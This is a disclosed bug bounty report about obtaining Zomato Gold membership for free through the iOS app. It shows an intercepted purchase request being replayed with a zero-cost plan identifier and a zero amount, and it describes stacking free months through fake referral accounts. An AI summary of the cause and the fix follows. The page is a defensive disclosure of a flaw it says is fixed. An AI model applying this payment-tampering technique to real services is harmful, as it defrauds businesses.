[www.zomato.com] Availing Zomato Gold membership for free by tampering plan id(s)
The iOS app's payment request accepted a client-supplied plan identifier and amount, and one plan had a zero cost, so a tampered request approved a Gold membership without any payment. The same trick combined with the referral programme let an attacker stack free months using extra accounts.
- Fixed in under an hour
- Paid in 1 hour
- Disclosed after 38 hours
Summary: Get free zomato gold membership using zomato iOS app.
Description: [add more details about this vulnerability]
- Login to the zomato iOS application.
- Select zomato gold from the home screen.
- Depending on your location, you will see different gold pack options.
- Select any gold pack.
- Select payment method.
- Intercept the api using burp.
POST ████useragent=model_iPad__os_9.3.5__v_13.1.9__t_iPad&app_version=13.1.9&push_permission=0&session_id=7&app_run_id=1&lang=en&presentlon=77.70730672359205&uuid=YOUR_UUID
access_token=YOUR_ACCESS_TOKEN&amount=1050&city_id=4&client_id=zomato_ios_v2&email=YOUR_EMAIL&name=YOUR_NAME&██████plan_id=40
- You can see that the api takes plan_id and amount as paramter.
- I decided to try various other plain_Ids using burp intruder.
- Using the intruder, I figured out that the plan_Id 147 has a membership cost of 0.
(Image: intruder_plan_ids.png) 10) Replace the plan id and amount the step 6. ( Image: api_request.png)
POST █████████useragent=model_iPad__os_9.3.5__v_13.1.9__t_iPad&app_version=13.1.9&push_permission=0&session_id=7&app_run_id=1&lang=en&presentlon=77.70730672359205&uuid=YOUR_UUID
access_token=YOUR_ACCESS_TOKEN&amount=0&city_id=4&client_id=zomato_ios_v2&email=YOUR_EMAIL&name=YOUR_NAME&██████████plan_id=147
- You will get the following response. (Image: api_response.png)
{"response":{"status":"success","message":"Transaction Approved Without Sending to Gateway"
- You are now a zomato gold member.
- There is also a referral program in zomato. In this program, if your freind buys zomato gold using your referral code, you get another 1 month of free membership.
- The attacker can create as many accounts as possible and share his referral code with these accounts, purchase free zomato gold from the new codes using the referral code and also get 1 month extended membership for each referral. (Image: extended_gold_by_1_month_sharing_voucher_code.png)
RCA:
- Some apis take in the plan_id and give the plan details in the response.
- This makes it easier for the attacker to enumerate plan ids.
- Also, multiple plans are valid at the same time.
Possible Fixes:
- Plan_ids should not be easily guessable.
- Only required plans should be kept active and all other plans should be disabled.
- If possible, for any payment made, have some extra checks when the payment_amount is zero.
Impact
An attacker can get zomato subscription free of cost for a month. Then using the referral code, he can extended the subscription by another month for each successful free referral using fake accounts.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server trusted the client-supplied plan identifier and amount and approved a zero-value transaction without validating the price against the plan.
Impact
An attacker could obtain a paid subscription for free and, through the referral programme, extend it by a month per fake referral account.
What the attacker needed
A Zomato account; the iOS app; a proxy to intercept requests
The fix
The server should validate the plan and price itself, keep only intended plans active, and add extra checks when the payment amount is zero.
How it was found
- Log in to the iOS app and open the Gold section.
- Pick a Gold pack and a payment method.
- Intercept the purchase request with a proxy.
- Enumerate plan identifiers to find one with zero cost.
- Resend the request with that plan identifier and a zero amount.
- Receive a success response and gain Gold membership.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you buy a subscription, the app sends a request to the server saying which plan you picked and how much to charge. Here the server trusted those numbers from the phone instead of checking the real price itself, so someone could swap in a plan that costs nothing and still get the paid membership.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.